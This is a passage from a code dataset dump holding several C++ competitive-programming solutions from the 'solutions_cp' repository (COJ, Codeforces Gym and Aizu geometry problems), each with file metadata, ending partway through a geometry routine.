"558942750badcc09f09a291b719675755d40f1a0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1411, "license_type": "no_license", "max_line_length": 65, "num_lines": 66, "path": "/COJ/eliogovea-cojAC/eliogovea-p1396-Accepted-s688828.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n#include <algorithm>\r\n#include <cstdlib>\r\n\r\nusing namespace std;\r\n\r\ntypedef unsigned long long LL;\r\n\r\nint tc, n, k;\r\nLL dp[101][101][101];\r\n\r\nLL solve(LL n, LL k) {\r\n\tif ((n & 1LL) || (k == 0)) return 0;\r\n\tfor (int i = 0; i <= n; i++)\r\n\t\tfor (int j = 0; j <= n; j++)\r\n\t\t\tfor (int l = 0; l < k; l++)\r\n\t\t\t\tdp[i][j][l] = 0;\r\n\tdp[0][0][0] = 1LL;\r\n\tfor (LL i = 0; i < n; i++)\r\n\t\tfor (LL j = 0; j < n; j++) {\r\n\t\t\tfor (LL l = 0; l < k; l++) {\r\n\t\t\t\tdp[i + 1][j + 1][(l + (1LL << i) % k) % k] += dp[i][j][l];\r\n\t\t\t\tif (i != n - 1) dp[i + 1][j][l] += dp[i][j][l];\r\n\t\t\t}\r\n\t\t}\r\n\treturn dp[n][n / 2][0];\r\n}\r\n\r\nint s(int n, int k) {\r\n\tint ret = 0;\r\n\tfor (int i = 0; i < (1 << n); i++) {\r\n\t\tLL num = 0, cnt = 0;\r\n\t\tfor (int j = 0; j < n; j++)\r\n\t\t\tif (i & (1 << j)) {\r\n\t\t\t\tcnt++;\r\n\t\t\t\tnum += (1 << j);\r\n\t\t\t}\r\n\t\tif (cnt + cnt == n && num % k == 0 && (num & (1 << (n - 1)))) {\r\n\t\t\t//cout << num << \"\\n\";\r\n\t\t\tret++;\r\n\t\t}\r\n\t}\r\n\treturn ret;\r\n}\r\n\r\nvoid check() {\r\n\tfor (int i = 0; i < 300; i++) {\r\n\t\t\tsrand(i);\r\n\t\t\tn = 2 * (1 + (rand() % 5));\r\n\t\t\tk = rand() % 101;\r\n\t\t\t//cout << n << \" \" << k << \"\\n\";\r\n\t\t\tint a = solve(n, k);\r\n\t\t\tint b = s(n, k);\r\n\t\t\tif (a != b) cout << \"error \";\r\n\t\t\tcout << n << \" \" << k << \" \" << a << \" \" << b << \"\\n\";\r\n\t\t}\r\n}\r\n\r\nint main() {\r\n\tcin >> tc;\r\n\tfor (int i = 1; i <= tc; i++) {\r\n\t\tcin >> n >> k;\r\n\t\tcout << \"Case \" << i << \": \" << solve(n, k) << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3771405816078186, "alphanum_fraction": 0.4090003967285156, "avg_line_length": 20.827272415161133, "blob_id": "11b6fc794b7bc37798dc9276e976e86a7c1b633a", "content_id": "596f8d6b23ecdb76fa0cb8c3b729d1e14efed1c6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2511, "license_type": "no_license", "max_line_length": 107, "num_lines": 110, "path": "/COJ/eliogovea-cojAC/eliogovea-p3780-Accepted-s1116208.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000 * 1000 * 1000 + 9;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n\treturn (long long)a * b % MOD;\r\n}\r\n\r\ninline int power(int x, int n) {\r\n\tint res = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres = mul(res, x);\r\n\t\t}\r\n\t\tx = mul(x, x);\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nconst int N = 1001;\r\nconst int ALPH = 'z' - 'a' + 1;\r\n// const int ALPH = 3;\r\nint comb[N + 5][N + 5];\r\nint comb2[N + 5][N + 5];\r\nint f[50];\r\nstring s;\r\nint k;\r\nint answer;\r\nint solved[ALPH + 5][100][N + 2], ttt;\r\nint dp[ALPH + 5][100][N + 2];\r\n\r\nint solve(int pos, int cnt, int cur) {\r\n // cerr << \"enter: \" << pos << \" \" << cnt << \" \" << cur << \"\\n\";\r\n\tif (pos == ALPH) {\r\n if (cur == k) {\r\n return 1;\r\n }\r\n return 0;\r\n\t}\r\n\tif (solved[pos][cnt][cur] == ttt) {\r\n\t\treturn dp[pos][cnt][cur];\r\n\t}\r\n\tsolved[pos][cnt][cur] = ttt;\r\n\tint res = 0;\r\n\tfor (int use = 0; use <= f[pos]; use++) {\r\n\t\tif (cur * comb[cnt + use][use] > k) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tif (((k / cur) % comb[cnt + use][use]) == 0) {\r\n // int v = mul(comb2[f[pos]][use], solve(pos + 1, cnt + use, cur * comb[cnt + use][use]));\r\n // cerr << \"from: \" << pos << \" \" << cnt << \" \" << cur << \" -> \";\r\n // cerr << \"to: \" << pos + 1 << \" \" << cnt + use << \" \" << cur * comb[cnt + use][use] << \" : \";\r\n // cerr << \"add \" << v << \"\\n\";\r\n\t\t\tadd(res, mul(comb2[f[pos]][use], solve(pos + 1, cnt + use, cur * comb[cnt + use][use])));\r\n\t\t}\r\n\t}\r\n\t// cerr << pos << \" \" << cnt << \" \" << cur << \" \" << res << \"\\n\";\r\n\tdp[pos][cnt][cur] = res;\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tfor (int i = 0; i < N; i++) {\r\n\t\tcomb[i][0] = comb[i][i] = 1;\r\n\t\tcomb2[i][0] = comb2[i][i] = 1;\r\n\t\tfor (int j = 1; j < i; j++) {\r\n\t\t\tcomb[i][j] = comb[i - 1][j - 1] + comb[i - 1][j];\r\n\t\t\tif (comb[i][j] > N) {\r\n\t\t\t\tcomb[i][j] = N;\r\n\t\t\t}\r\n\t\t\tcomb2[i][j] = comb2[i - 1][j - 1];\r\n\t\t\tadd(comb2[i][j], comb2[i - 1][j]);\r\n\t\t}\r\n\t}\r\n\twhile (cin >> s >> k) {\r\n\r\n\t\tttt++;\r\n\t\tfor (int i = 0; i < ALPH; i++) {\r\n\t\t\tf[i] = 0;\r\n\t\t}\r\n\t\tfor (int i = 0; i < s.size(); i++) {\r\n\t\t\tf[s[i] - 'a']++;\r\n\t\t}\r\n\t\tanswer = 0;\r\n\t\tif (k == 1) {\r\n\t\t\tfor (int i = 0; i < ALPH; i++) {\r\n\t\t\t\tint v = power(2, f[i]); add(v, MOD - 1);\r\n\t\t\t\tadd(answer, v);\r\n\t\t\t}\r\n\t\t\t// add(answer, 1);\r\n\t\t\tcout << answer << \"\\n\";\r\n\t\t} else {\r\n\t\t\t// sort(f, f + c);\r\n\t\t\tcout << solve(0, 0, 1) << \"\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.38695651292800903, "alphanum_fraction": 0.39782607555389404, "avg_line_length": 14.428571701049805, "blob_id": "f105c48d1ba389f3bf840ffa22fdead4acb08cbb", "content_id": "886334e8d676577aa3f585de0bab9714c9941f04", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 460, "license_type": "no_license", "max_line_length": 29, "num_lines": 28, "path": "/COJ/eliogovea-cojAC/eliogovea-p2779-Accepted-s652151.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nint n, k, s, t, r;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\tcin >> n >> k;\r\n\twhile (k--) {\r\n\t\tcin >> s >> t >> r;\r\n\t\tint tot = n, time = 0;\r\n\t\twhile (tot) {\r\n\t\t\tif (tot > s * t) {\r\n\t\t\t\ttime += t + r;\r\n\t\t\t\ttot -= s * t;\r\n\t\t\t} else {\r\n\t\t\t int x = tot / s;\r\n\t\t\t\ttime += x;\r\n\t\t\t\ttot -= x * s;\r\n if (tot > 0) time++;\r\n\t\t\t\ttot = 0;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << time << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.34210526943206787, "alphanum_fraction": 0.3703007400035858, "avg_line_length": 13.880597114562988, "blob_id": "02a653f0fefebd0bdd42e80774a8b66c9f2b4b9a", "content_id": "d67887e13e9010fc63d5c477b7671de32e53ee0c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1064, "license_type": "no_license", "max_line_length": 36, "num_lines": 67, "path": "/COJ/eliogovea-cojAC/eliogovea-p3755-Accepted-s1042034.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nint n;\r\nLL r;\r\nLL a[55];\r\nLL ans[55];\r\n\r\nLL egcd(LL a, LL b, LL &x, LL &y) {\r\n\tif (b == 0) {\r\n\t\tx = 1;\r\n\t\ty = 0;\r\n\t\treturn a;\r\n\t}\r\n\tLL x1, y1;\r\n\tLL g = egcd(b, a % b, x1, y1);\r\n\tx = y1;\r\n\ty = x1 - (a / b) * y1;\r\n\treturn g;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tint cas = 1;\r\n\twhile (true) {\r\n\t\tcin >> n >> r;\r\n\t\tif (n == 0 && r == 0) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> a[i];\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tans[i] = 0;\r\n\t\t}\r\n\t\tLL curG = a[0];\r\n\t\tans[0] = 1;\r\n\t\tfor (int i = 1; i < n; i++) {\r\n\t\t\tLL x, y;\r\n\t\t\tcurG = egcd(curG, a[i], x, y);\r\n\t\t\tfor (int j = 0; j < i; j++) {\r\n\t\t\t\tans[j] *= x;\r\n\t\t\t}\r\n\t\t\tans[i] = y;\r\n\t\t\tif (r % curG == 0) {\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << \"Case #\" << cas++ << \": \";\r\n\t\tif (r % curG == 0) {\r\n\t\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\t\tcout << ans[i] * (r / curG);\r\n\t\t\t\tif (i + 1 < n) {\r\n\t\t\t\t\tcout << \" \";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tcout << \"\\n\";\r\n\t\t} else {\r\n\t\t\tcout << \"Stupid keypad!\\n\";\r\n\t\t}\r\n\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4449685513973236, "alphanum_fraction": 0.46069180965423584, "avg_line_length": 16.171428680419922, "blob_id": "fd29c08a303cf52775a0728e717348b5a7940ee9", "content_id": "23c980880498086403e3890c61064b9e7a97c8d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 636, "license_type": "no_license", "max_line_length": 38, "num_lines": 35, "path": "/COJ/eliogovea-cojAC/eliogovea-p2578-Accepted-s629774.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nconst int MAXN = 300005;\r\n\r\nstruct obj {\r\n\tint m, v;\r\n} a[2 * MAXN];\r\n\r\nbool cmp(const obj &a, const obj &b) {\r\n\tif (a.m != b.m) return a.m < b.m;\r\n\treturn a.v > b.v;\r\n}\r\n\r\nint n, k;\r\nlong long sol;\r\npriority_queue<int> Q;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin >> n >> k;\r\n\tfor (int i = 0; i < n; i++)\r\n\t\tcin >> a[i].m >> a[i].v;\r\n\tfor (int i = 0; i < k; i++)\r\n\t\tcin >> a[n + i].m;\r\n\tsort(a, a + n + k, cmp);\r\n\tfor (int i = 0; i < n + k; i++) {\r\n\t\tif (a[i].v) Q.push(a[i].v);\r\n\t\telse if (!Q.empty()) {\r\n\t\t\tsol += Q.top();\r\n\t\t\tQ.pop();\r\n\t\t}\r\n\t}\r\n\tcout << sol << '\\n';\r\n}\r\n" }, { "alpha_fraction": 0.32582584023475647, "alphanum_fraction": 0.3768768906593323, "avg_line_length": 19.483871459960938, "blob_id": "3156172f30c1b25df9603ff102f8222b211216d6", "content_id": "89faaf96f4cf92bfde37d3639effbef11cc35849", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 666, "license_type": "no_license", "max_line_length": 91, "num_lines": 31, "path": "/COJ/eliogovea-cojAC/eliogovea-p1838-Accepted-s468596.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nstruct pto{\r\n int x,y,z;\r\n };\r\n \r\nint n;\r\npto p1,p2,p3;\r\n\r\nbool al(pto a, pto b, pto c){\r\n int x1 = b.x-a.x;\r\n int x2 = c.x-a.x;\r\n int y1 = b.y-a.y;\r\n int y2 = c.y-a.y;\r\n int z1 = b.z-a.z;\r\n int z2 = c.z-a.z;\r\n \r\n return (y1*z2-z1*y2) || (z1*x2-x1*z2) || (x1*y2-y1*x2);\r\n }\r\n \r\nint main(){\r\n \r\n cin >> n;\r\n while(n--){\r\n cin >> p1.x >> p1.y >> p1.z >> p2.x >> p2.y >> p2.z >> p3.x >> p3.y >> p3.z;\r\n if(al(p1,p2,p3))cout << \"YES\" << endl;\r\n else cout << \"NO\" << endl;\r\n }\r\n return 0; \r\n }\r\n" }, { "alpha_fraction": 0.43051770329475403, "alphanum_fraction": 0.46321526169776917, "avg_line_length": 15.476190567016602, "blob_id": "9954ab96f0f8fce8a9a1a4fbfb405064976a69e6", "content_id": "1d1be4cb4c63500f384df21653b3a8d3b0dd21c7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 367, "license_type": "no_license", "max_line_length": 64, "num_lines": 21, "path": "/COJ/eliogovea-cojAC/eliogovea-p1369-Accepted-s489015.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<cmath>\r\n#include<cstdio>\r\nusing namespace std;\r\ndouble l,ans,N,K;\r\nint n,k;\r\n\r\nint main()\r\n{\r\n while(cin >> l >> n >> k)\r\n {\r\n N=(double)n;\r\n K=(double)k;\r\n\r\n if(l==0 && n==0 && k==0)break;\r\n\r\n ans=sqrt(3)*l*l*(double(N*N-3.0*K*N+3.0*K*K))/4.0/(N*N);\r\n printf(\"%.0f\\n\",ans);\r\n }\r\nreturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.32477062940597534, "alphanum_fraction": 0.3431192636489868, "avg_line_length": 15.580645561218262, "blob_id": "94014265d18c20612eba7547abaaef2ff5925d52", "content_id": "4726f0200469518b8bf8b015906ea2ee429aebfd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 545, "license_type": "no_license", "max_line_length": 36, "num_lines": 31, "path": "/COJ/eliogovea-cojAC/eliogovea-p1514-Accepted-s532661.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cstring>\r\nint ca;\r\ndouble c,d,ans;\r\n\r\nint main()\r\n{\r\n for(scanf(\"%d\",&ca); ca--;)\r\n {\r\n scanf(\"%lf%lf\",&c,&d);\r\n\r\n ans=(c*d/(c+d))*(c*d/(c+d));\r\n\r\n char a[100];\r\n sprintf(a,\"%.4lf\",ans);\r\n\r\n int l=strlen(a),mark=0;\r\n for(int i=l-1; i>=0; i--)\r\n if(a[i]!='0')\r\n {\r\n mark=i;\r\n break;\r\n }\r\n\r\n for(int i=0; i<=mark; i++)\r\n printf(\"%c\",a[i]);\r\n\r\n printf(\"\\n\");\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.351578950881958, "alphanum_fraction": 0.3722105324268341, "avg_line_length": 16.99242401123047, "blob_id": "6ac8925b51f7deef81b3cf8d992f43fd7a4a5acc", "content_id": "830b5c0f195654f6a5dfd3ffc9b513f3d4e80ee1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2375, "license_type": "no_license", "max_line_length": 72, "num_lines": 132, "path": "/Codeforces-Gym/101147 - 2016-2017 ACM-ICPC, Egyptian Collegiate Programming Contest (ECPC 16)/J.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC, Egyptian Collegiate Programming Contest (ECPC 16)\n// 101147J\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\ntypedef pair<int,ll> par;\n\nstruct data{\n ll v;\n int ord, nod, kk;\n data(){}\n data( ll vv, int ordd, int nodd, int kkk ){\n v = vv;\n ord = ordd;\n nod = nodd;\n kk = kkk;\n }\n\n bool operator < ( const data &o ) const {\n if( v != o.v ){\n return v < o.v;\n }\n\n return ord < o.ord;\n }\n};\n\nconst int MAXN = 3000100;\nint n;\n\nint BIT[MAXN];\nvoid upd_bit( int i, int v ){\n while( i <= n*4 ){\n BIT[i] += v;\n i += ( i & -i );\n }\n}\n\nint get_bit( int i ){\n int ret = 0;\n while( i > 0 ){\n ret += BIT[i];\n i -= ( i & -i );\n }\n return ret;\n}\n\nint ord[MAXN];\nint sz;\n\nll d[MAXN];\nll x[MAXN];\n\nvector<par> g[MAXN];\ndata a[MAXN];\n\nvoid dfs( int u, int p ){\n a[sz] = data( d[u] - x[u] , sz , u , 0 );\n sz++;\n a[sz] = data( d[u] , sz , u , -1 );\n sz++;\n\n for( int i = 0; i < g[u].size(); i++ ){\n int v = g[u][i].first;\n ll w = g[u][i].second;\n\n if( v != p ){\n d[v] = d[u] + w;\n dfs( v , u );\n }\n }\n\n a[sz] = data( d[u] , sz , u , 1 );\n sz++;\n}\n\nint sol[MAXN];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n //freopen( \"dat.txt\", \"r\", stdin );\n freopen( \"car.in\", \"r\", stdin );\n\n int tc; cin >> tc;\n\n while( tc-- ){\n cin >> n;\n\n //clear\n fill( BIT , BIT + n * 4 + 1 , 0 );\n fill( sol , sol + n * 4 + 1 , 0 );\n\n for( int i = 1; i <= n; i++ ){\n cin >> x[i];\n g[i].clear();\n }\n\n for( int i = 1; i < n; i++ ){\n int u, v; cin >> u >> v;\n ll w; cin >> w;\n g[u].push_back( par( v , w ) );\n g[v].push_back( par( u , w ) );\n }\n\n sz = 1;\n d[1] = 0;\n dfs( 1 , -1 );\n\n sort( a + 1 , a + sz );\n\n for( int i = 1; i < sz; i++ ){\n int u = a[i].nod;\n int ord = a[i].ord;\n int kk = a[i].kk;\n\n if( kk == 0 ){\n upd_bit( ord , 1 );\n continue;\n }\n sol[u] += get_bit( ord ) * kk;\n }\n\n for( int i = 1; i <= n; i++ ){\n cout << sol[i] << \" \\n\"[i==n];\n }\n }\n}\n" }, { "alpha_fraction": 0.30829015374183655, "alphanum_fraction": 0.33419689536094666, "avg_line_length": 14.782608985900879, "blob_id": "c44ef5034bd87be26ffd1e259d4360fb03a09934", "content_id": "657c5cfb7b7743ec17ec5fc18c45d2f8ef69dd91", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 386, "license_type": "no_license", "max_line_length": 32, "num_lines": 23, "path": "/COJ/eliogovea-cojAC/eliogovea-p1622-Accepted-s508975.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nint cas,n,a[100],sum,ans,x;\r\n\r\nint main()\r\n{\r\n while(scanf(\"%d\",&n)!=EOF)\r\n {\r\n for(int i=0; i<n; i++)\r\n {\r\n scanf(\"%d\",&x);\r\n a[i]=x&1;\r\n sum=(sum==a[i])?0:1;\r\n }\r\n\r\n for(int i=0; i<n; i++)\r\n ans+=(a[i]==sum);\r\n printf(\"%d\\n\",ans);\r\n\r\n ans=sum=0;\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.32182836532592773, "alphanum_fraction": 0.34794774651527405, "avg_line_length": 21.33333396911621, "blob_id": "19f7e5b7dbc3172eda2fdeb17abc134933602fa4", "content_id": "0ac26e20e5b617b258e6198f65cfc2c211c4a878", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1072, "license_type": "no_license", "max_line_length": 123, "num_lines": 48, "path": "/Codeforces-Gym/100507 - 2014-2015 ACM-ICPC, NEERC, Eastern Subregional Contest/I.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 ACM-ICPC, NEERC, Eastern Subregional Contest\n// 100507I\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MOD = 1000000007;\n\n\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen( \"dat.txt\", \"r\", stdin );\n\tstring up, down;\n\tcin >> up >> down;\n int sol = 0;\n\tfor( int i = 0, j = 0; i < (int)up.size() || j < (int)down.size() ; ){\n // cout << up[i]<< \" \" << down[j] << endl;\n\n if( ( i >= up.size() || up[i] == 'R' || up[i] == 'F') &&( j >= down.size() || down[j] == 'R' || down[j] == 'F') ){\n sol++;\n i++; j++;\n }\n else if( up[i] == 'L' ){\n while( j < down.size() && ( down[j] == 'F'|| down[j] == 'R') ){\n j++;\n sol++;\n }\n i++; j++;\n sol++;\n }\n else if( down[j] == 'L' ){\n while( i < up.size() && ( up[i] == 'F' || up[i] == 'R') ){\n i++;\n sol++;\n }\n sol++;\n i++;\n j++;\n\n }\n\n\t}\n\tcout << sol << '\\n';\n\n}\n" }, { "alpha_fraction": 0.30440253019332886, "alphanum_fraction": 0.3849056661128998, "avg_line_length": 18.921052932739258, "blob_id": "907a26e870435d799f900f6a6a99f666991aba15", "content_id": "10ebcfcd7886b435001c0bd1a72ce9a7773bf228", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 795, "license_type": "no_license", "max_line_length": 57, "num_lines": 38, "path": "/COJ/eliogovea-cojAC/eliogovea-p2342-Accepted-s511508.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<limits.h>\r\nusing namespace std;\r\n\r\nchar n1[20],n2[20];\r\nint a1[10000],a2[10000];\r\nlong mx1,mx2,n,t,s1,s2;\r\n\r\nint main()\r\n{\r\n cin >> t;\r\n while(t--)\r\n {\r\n cin >> n;\r\n cin >> n1;\r\n for(int i=0; i<n; i++)cin >> a1[i];\r\n cin >> n2;\r\n for(int i=0; i<n; i++)cin >> a2[i];\r\n\r\n mx1=mx2=INT_MIN;\r\n for(int i=0; i<n; i++)\r\n {\r\n s1+=a1[i];\r\n s2+=a2[i];\t\t\t\r\n if(mx1<s1)mx1=s1;\r\n if(mx2<s2)mx2=s2;\r\n if(s1<0)s1=0;\r\n if(s2<0)s2=0;\r\n }\r\n\r\n if(mx1>mx2)cout << n1 << \" \" << mx1 << endl;\r\n else if(mx1<mx2)cout << n2 << \" \" << mx2 << endl;\r\n else cout << \"Tied \" << mx1 << endl;\r\n\r\n s1=s2=0;\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.452103853225708, "alphanum_fraction": 0.46821844577789307, "avg_line_length": 17.59649085998535, "blob_id": "f67dc73fe751468364c074c72f55de8da363e675", "content_id": "3d0e6257a04bc9114d9553e6d39f9df924c1b242", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1117, "license_type": "no_license", "max_line_length": 45, "num_lines": 57, "path": "/COJ/eliogovea-cojAC/eliogovea-p3004-Accepted-s689431.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <map>\r\n#include <algorithm>\r\n#include <cmath>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100005;\r\n\r\npair<int, char> a[N];\r\nmap<int, int> m;\r\nmap<int, int>::iterator it;\r\nint n, ans ;\r\n\r\nint solve() {\r\n\tm.clear();\r\n\tint ret = 0;\r\n\tint d = 0;\r\n\tm[0] = a[0].first;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif (a[i].second == 'W') d++;\r\n\t\telse d--;\r\n\t\tif (d >= 0) {\r\n\t\t\tint rem = d & 1;\r\n\t\t\tit = m.find(rem);\r\n\t\t\tif (it != m.end()) {\r\n\t\t\t\tint tmp = abs(a[i].first - it->second);\r\n\t\t\t\tif (tmp > ret) ret = tmp;\r\n\t\t\t} else {\r\n\t\t\t\tm[rem] = a[i + 1].first;\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\tit = m.find(d);\r\n\t\t\tif (it != m.end()) {\r\n\t\t\t\tint tmp = abs(a[i].first - it->second);\r\n\t\t\t\tif (tmp > ret) ret = tmp;\r\n\t\t\t}\r\n\t\t}\r\n\t\tit = m.find(d);\r\n\t\tif (it == m.end()) m[d] = a[i + 1].first;\r\n\t}\r\n\treturn ret;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++)\r\n\t\tcin >> a[i].first >> a[i].second;\r\n\tsort(a, a + n);\r\n\tans = solve();\r\n\tsort(a, a + n, greater<pair<int, char> >());\r\n\tint tmp = solve();\r\n\tif (tmp > ans) ans = tmp;\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.5138790011405945, "alphanum_fraction": 0.5255041718482971, "avg_line_length": 19.55609703063965, "blob_id": "aaf957ab68b6422a01abed52baecd8ad2caab5be", "content_id": "399b971075522893de58fba56fa9d21c44470a58", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4215, "license_type": "no_license", "max_line_length": 103, "num_lines": 205, "path": "/Aizu/CGL_2_A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "/// Geometry INT\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\ninline int sign(const LL x) {\n\tif (x < 0) {\n\t\treturn -1;\n\t}\n\tif (x > 0) {\n\t\treturn 1;\n\t}\n\treturn 0;\n}\n\nstruct point {\n\tLL x, y;\n\tpoint() {}\n\tpoint(LL _x, LL _y) : x(_x), y(_y) {}\n};\n\nbool operator < (const point &P, const point &Q) {\n\tif (P.y != Q.y) {\n\t\treturn P.y < Q.y;\n\t}\n\treturn P.x < Q.x;\n}\n\nvoid normalize(point &P) {\n\tassert(P.x != 0 || P.y != 0);\n\tLL g = __gcd(abs(P.x), abs(P.y));\n\tP.x /= g;\n\tP.y /= g;\n\tif (P.x < 0 || (P.x == 0 && P.y < 0)) {\n\t\tP.x = -P.x;\n\t\tP.y = -P.y;\n\t}\n}\n\npoint operator + (const point &P, const point &Q) {\n\treturn point(P.x + Q.x, P.y + Q.y);\n}\n\npoint operator - (const point &P, const point &Q) {\n\treturn point (P.x - Q.x, P.y - Q.y);\n}\n\npoint operator * (const point &P, const LL k) {\n\treturn point(P.x * k, P.y * k);\n}\n\npoint operator / (const point &P, const LL k) {\n\tassert(k != 0 && P.x % k == 0 && P.y % k == 0);\n\treturn point(P.x / k, P.y / k);\n}\n\ninline LL dot(const point &P, const point &Q) {\n\treturn P.x * Q.x + P.y * Q.y;\n}\n\ninline LL cross(const point &P, const point &Q) {\n\treturn P.x * Q.y - P.y * Q.x;\n}\n\ninline bool is_in(LL x, LL a, LL b) {\n\tif (a > b) {\n\t\tswap(a, b);\n\t}\n\treturn (a <= x && x <= b);\n}\n\ninline bool is_in(const point &P, const point &A, const point &B) {\n\tif (cross(B - A, P - A) != 0) {\n\t\treturn false;\n\t}\n\treturn (is_in(P.x, A.x, B.x) && is_in(P.y, A.y, B.y));\n}\n\ninline bool segment_segment_intersect(const point &A, const point &B, const point &C, const point &D) {\n\tif (cross(B - A, D - C) == 0) { // lines are parallel\n\t\treturn (is_in(A, C, D) || is_in(B, C, D) || is_in(C, A, B) || is_in(D, A, B));\n\t}\n\tif (sign(cross(C - A, B - A)) * sign(cross(D - A, B - A)) > 0) {\n\t\treturn false;\n\t}\n\tif (sign(cross(A - C, D - C)) * sign(cross(B - C, D - C)) > 0) {\n\t\treturn false;\n\t}\n\treturn true;\n}\n\ninline bool is_convex(const vector <point> &polygon) {\n\tint n = polygon.size();\n\tassert(n >= 3);\n\tfor (int i = 0; i < n; i++) {\n\t\tint j = (i + 1) % n;\n\t\tint k = (i + 2) % n;\n\t\tif (sign(cross(polygon[j] - polygon[i], polygon[k] - polygon[i])) < 0) {\n\t\t\treturn false;\n\t\t}\n\t}\n\treturn true;\n}\n\nconst int OUT = 0;\nconst int ON = 1;\nconst int IN = 2;\n/// 0 outside, 1 boundary, 2 inside\ninline int point_inside_polygon(const point &P, const vector <point> &polygon) {\n\tint n = polygon.size();\n\tint cnt = 0;\n\tfor (int i = 0; i < n; i++) {\n\t\tpoint A = polygon[i];\n\t\tpoint B = polygon[(i + 1) % n];\n\t\tif (is_in(P, A, B)) {\n\t\t\treturn ON;\n\t\t}\n\t\tif (B.y < A.y) {\n\t\t\tswap(A, B);\n\t\t}\n\t\tif (P.y < A.y || B.y <= P.y || A.y == B.y) {\n\t\t\tcontinue;\n\t\t}\n\t\tif (sign(cross(B - A, P - A)) > 0) {\n\t\t\tcnt++;\n\t\t}\n\t}\n\tif (cnt & 1) 